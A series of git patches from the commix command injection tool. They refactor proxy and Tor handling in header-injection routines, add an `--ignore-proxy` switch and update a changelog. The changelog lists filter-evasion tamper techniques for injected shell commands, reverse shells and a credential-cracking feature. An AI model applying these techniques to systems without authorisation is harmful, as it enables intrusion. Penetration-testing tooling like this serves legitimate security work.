inject_host(url, vuln_parameter, payload, proxy): + def inject_host(url, vuln_parameter, payload): if proxy == None: opener = _urllib.request.build_opener() @@ -620,7 +579,13 @@ def inject_host(url, vuln_parameter, payload, proxy): request.add_header('Host', payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -630,24 +595,10 @@ def inject_host(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_host(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_host(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_host(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_host(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -661,13 +612,7 @@ def inject_host(url, vuln_parameter, payload, proxy): """ def custom_header_injection(url, vuln_parameter, payload): - def inject_custom_header(url, vuln_parameter, payload, proxy): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_custom_header(url, vuln_parameter, payload): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA @@ -684,7 +629,13 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -694,24 +645,10 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_custom_header(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() diff --git a/src/utils/settings.py b/src/utils/settings.py index a91ffa0091..d0b133537f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9d5f3de0661576d56619e52d50490a03825ba8b4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 27 Oct 2023 08:13:31 +0300 Subject: [PATCH 0348/1023] Added new switch `--ignore-proxy` to ignore the system default HTTP proxy. --- doc/CHANGELOG.md | 1 + .../techniques/file_based/fb_injector.py | 2 +- src/core/main.py | 9 +++++++-- src/core/modules/shellshock/shellshock.py | 4 ++-- src/core/requests/authentication.py | 2 +- src/core/requests/proxy.py | 7 ++++++- src/core/requests/requests.py | 16 ++++++++-------- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 2 +- 9 files changed, 33 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d6de249a72..cc3f735f09 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). * Revised: Minor improvement regarding parsing SOAP/XML POST data. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 78ac91973d..5b4ee4c82a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -326,7 +326,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: diff --git a/src/core/main.py b/src/core/main.py index 918fe342c7..8c3fe2c0d9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -111,7 +111,7 @@ def examine_request(request, url): try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: return proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -190,7 +190,7 @@ def init_request(url): if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : debug_msg = "Setting the HTTP authentication type and credentials." print(settings.print_debug_msg(debug_msg)) - if menu.options.proxy: + if menu.options.proxy: proxy.do_check() if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." @@ -648,6 +648,11 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.ignore_proxy: + err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() if proxy_scheme: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index ec69042e21..c7f34e2f53 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -313,7 +313,7 @@ def shellshock_handler(url, http_request_method, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: @@ -562,7 +562,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 04670565a0..63b8e77ca6 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -175,7 +175,7 @@ def http_auth_cracker(url, realm): headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 43e31583fe..b6d707c0c9 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -29,7 +29,12 @@ """ def use_proxy(request): try: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + if menu.options.ignore_proxy: + proxy = _urllib.request.ProxyHandler({}) + opener = _urllib.request.build_opener(proxy) + _urllib.request.install_opener(opener) + else: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: return requests.request_failed(err_msg) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a983c343e4..cbc5c8d47b 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -52,7 +52,7 @@ def crawler_request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) elif menu.options.tor: response = tor.use_tor(request) @@ -291,7 +291,7 @@ def request_failed(err_msg): elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: err += " or proxy" err = err + " (Reason: " + str(error_msg) + "). " if settings.MULTI_TARGETS or settings.CRAWLING: @@ -386,7 +386,7 @@ def request_failed(err_msg): def get_request_response(request): headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: try: response = proxy.use_proxy(request) except Exception as err_msg: @@ -430,7 +430,7 @@ def inject_cookie(url, vuln_parameter, payload): request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -477,7 +477,7 @@ def inject_user_agent(url, vuln_parameter, payload): request.add_header('User-Agent', payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -524,7 +524,7 @@ def inject_referer(url, vuln_parameter, payload): request.add_header('Referer', payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -579,7 +579,7 @@ def inject_host(url, vuln_parameter, payload): request.add_header('Host', payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: @@ -629,7 +629,7 @@ def inject_custom_header(url, vuln_parameter, payload): request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: diff --git a/src/utils/menu.py b/src/utils/menu.py index 732b56be58..d679f62fc3 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -296,6 +296,12 @@ def banner(): default=False, help="Force usage of SSL/HTTPS.") +request.add_option("--ignore-proxy", + action="store_true", + dest="ignore_proxy", + default=False, + help="Ignore system default proxy settings.") + request.add_option("--ignore-redirects", action="store_true", dest="ignore_redirects", diff --git a/src/utils/settings.py b/src/utils/settings.py index d0b133537f..72523ee3ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 531f1e3ac6647f1801b962bb63dc16e27d7705d2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 29 Oct 2023 09:08:03 +0200 Subject: [PATCH 0349/1023] Minor update regarding localhost/global proxy --- src/core/main.py | 4 ++++ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 8c3fe2c0d9..436277bda4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -641,6 +641,10 @@ def main(filename, url): if menu.options.answers: settings.ANSWERS = menu.options.answers + if not menu.options.proxy: + if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: + menu.options.ignore_proxy = True + # Check if defined "--proxy" option. if menu.options.proxy: if menu.options.tor: diff --git a/src/utils/settings.py b/src/utils/settings.py index 72523ee3ed..7f2387ac29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 75057e282657697be201a197ef52e0987b5338d5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 30 Oct 2023 08:37:06 +0200 Subject: [PATCH 0350/1023] Potential fix for https://github.com/commixproject/commix/issues/859 --- src/core/injections/controller/checks.py | 9 +++++++-- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9575cfacec..ac8c951fca 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -39,6 +39,7 @@ from src.core.requests import requests from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list @@ -442,8 +443,11 @@ def newline_fixation(payload): Page enc/decoding """ def page_encoding(response, action): - _ = False - page = response.read() + try: + page = response.read() + except _http_client.IncompleteRead as err_msg: + requests.request_failed(err_msg) + page = err_msg.partial if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"): try: if response.info().get('Content-Encoding') == 'deflate': @@ -458,6 +462,7 @@ def page_encoding(response, action): warn_msg = "Turning off page compression." print(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False + _ = False try: if action == "encode" and type(page) == str: return page.encode(settings.DEFAULT_CODEC, errors="ignore") diff --git a/src/utils/settings.py b/src/utils/settings.py index 7f2387ac29..82552ec0f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebd5e5a434d22192d50e8c875254429d39a2c10d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 2 Nov 2023 08:18:16 +0200 Subject: [PATCH 0351/1023] Minor update --- src/core/requests/requests.py | 16 +++++++++++----- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index cbc5c8d47b..7f492d08d3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -337,17 +337,23 @@ def request_failed(err_msg): error_msg = "Connection was forcibly closed by the target URL." elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + "' which could interfere with the results of the tests." + warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + warn_msg += "' which could interfere with the results of the tests." print(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True else: - error_msg = "The provided target URL seems not reachable. " - error_msg += "In case that it is, please try to re-run using " + error_msg = "The provided target URL seems not reachable." + items = [] if not menu.options.random_agent: - error_msg += "'--random-agent' switch and/or " - error_msg += "'--proxy' option." + items.append("'--random-agent' switch") + if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): + items.append("proxy switches ('--proxy', '--ignore-proxy'...).") + if items: + error_msg += "In case that it is, " + error_msg += "you can try to rerun with " + error_msg += " and/or ".join(items) print(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 82552ec0f3..2de72c29b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 87cdd307368819aa5b2548159c8298ce48c32421 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Nov 2023 08:16:01 +0200 Subject: [PATCH 0352/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 205 ++++++++++++++++++++++++----------------------- 1 file changed, 104 insertions(+), 101 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cc3f735f09..dee9dbff1d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,22 +1,24 @@ ## Version 3.9 (TBA) * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. -* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish (via @Kazgangap) * Revised: Minor improvement regarding parsing SOAP/XML POST data. ## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) in Farsi(Persian) (via @verfosec) * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). -* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for \*nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). -* Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). -* Added: Support for "Bearer" HTTP authentication type. +* Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). +* Added: Support for `Bearer` HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). * Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. @@ -26,13 +28,14 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) in Indonesian (via @galihap76) +* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). -* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). +* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. -* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). +* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. `stdin`). * Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). -* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). +* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e. `-t` option). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._ @@ -42,7 +45,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. -* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._ @@ -54,18 +57,18 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. -* Added: Support regarding parsing target(s) from piped-input (i.e. stdin). +* Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). * Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. -* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). +* Revised: Minor improvement regarding identifying `Hex` and/or `Base64` encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. -* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. +* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e. Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._ @@ -75,7 +78,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. -* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. +* Added: New option `--drop-set-cookie` for ignoring `Set-Cookie` HTTP header from response. * Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. @@ -90,36 +93,36 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets). +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution (for \*nix targets). * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. -* Added: Support for parsing custom wordlists regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option. * Revised: Minor improvement regarding parsing GraphQL JSON objects. -* Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. +* Added: The .bat files command separator (i.e. [`%1a`](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. * Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._ ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets). +* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}` (for \*nix targets). * Revised: Minor improvement regarding session handler for supporting Python 3.4+. * Revised: Minor improvement regarding `--web-root` option. -* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for *nix targets). +* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for \*nix targets). * Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses. * Fixed: Bug-fix regarding several charset-related unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. -* Fixed: Bug-fix regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Fixed: Bug-fix regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Fixed: Bug-fix regarding logging all HTTP traffic into a textual file. * Revised: Improvement regarding crawler. * Fixed: Multiple bug-fixes regarding supporting Python 3.9. * Revised: Improvement regarding mechanism which nagging if used version is > 30 days old. * Fixed: Multiple bug-fixes regarding the shellshock module. -* Revised: Improvement regarding Python 3.4+ for using the "html.unescape()" function for converting HTML entities to plain-text representations. +* Revised: Improvement regarding Python 3.4+ for using the `html.unescape()` function for converting HTML entities to plain-text representations. * Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header. * Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option. -* Fixed: Bug-fix regarding "hex" encoding/decoding. +* Fixed: Bug-fix regarding `Hex` encoding/decoding. * Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30). * Revised: Increased default timeout to 30 seconds. * Fixed: Bug-fix regarding Basic HTTP authentication. @@ -130,7 +133,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.1 (2020-06-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: A script "setup.py" has been added (i.e. easier installation). -* Revised: Improvement regarding checking if the provided value has boundaries (e.g. 'param=/value/'). +* Revised: Improvement regarding checking if the provided value has boundaries (e.g. `param=/value/`). * Revised: Improvement regarding dynamic code evaluation technique's heuristic checks. * Revised: Improvement regarding identifying the indicated web-page charset. * Revised: Minor improvement regarding verbose mode (i.e. debug messages). @@ -139,7 +142,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. -* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. @@ -161,15 +164,15 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 2.9 (2019-06-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding parsing hostname and port from URL. -* Revised: Improvement regarding automatically decoding "deflate" and "gzip" HTTP responses. -* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple ":". +* Revised: Improvement regarding automatically decoding `deflate` and `gzip` HTTP responses. +* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple `":"`. * Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options). * Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvement regarding parsing nested JSON objects. * Added: Flatten_json (third party) module has been added. * Revised: Bug-fixes and improvements regarding parsing JSON objects. -* Added: GPL Cooperation Commitment (COMMITMENT.txt) has been added. -* Updated: Minor update regarding HTTP authentication (Basic / Digest). +* Added: GPL Cooperation Commitment ([COMMITMENT.txt](https://github.com/commixproject/commix/blob/master/COMMITMENT.txt)) has been added. +* Updated: Minor update regarding HTTP authentication (i.e. `Basic`, `Digest`). * Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase. * Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options. @@ -180,7 +183,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Minor update regarding accepting overly long result lines. * Revised: Minor bug-fixes and improvements regarding `--file-upload` option. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. -* Revised: Minor bug-fixes and improvements regarding HTTP authentication (Basic / Digest). +* Revised: 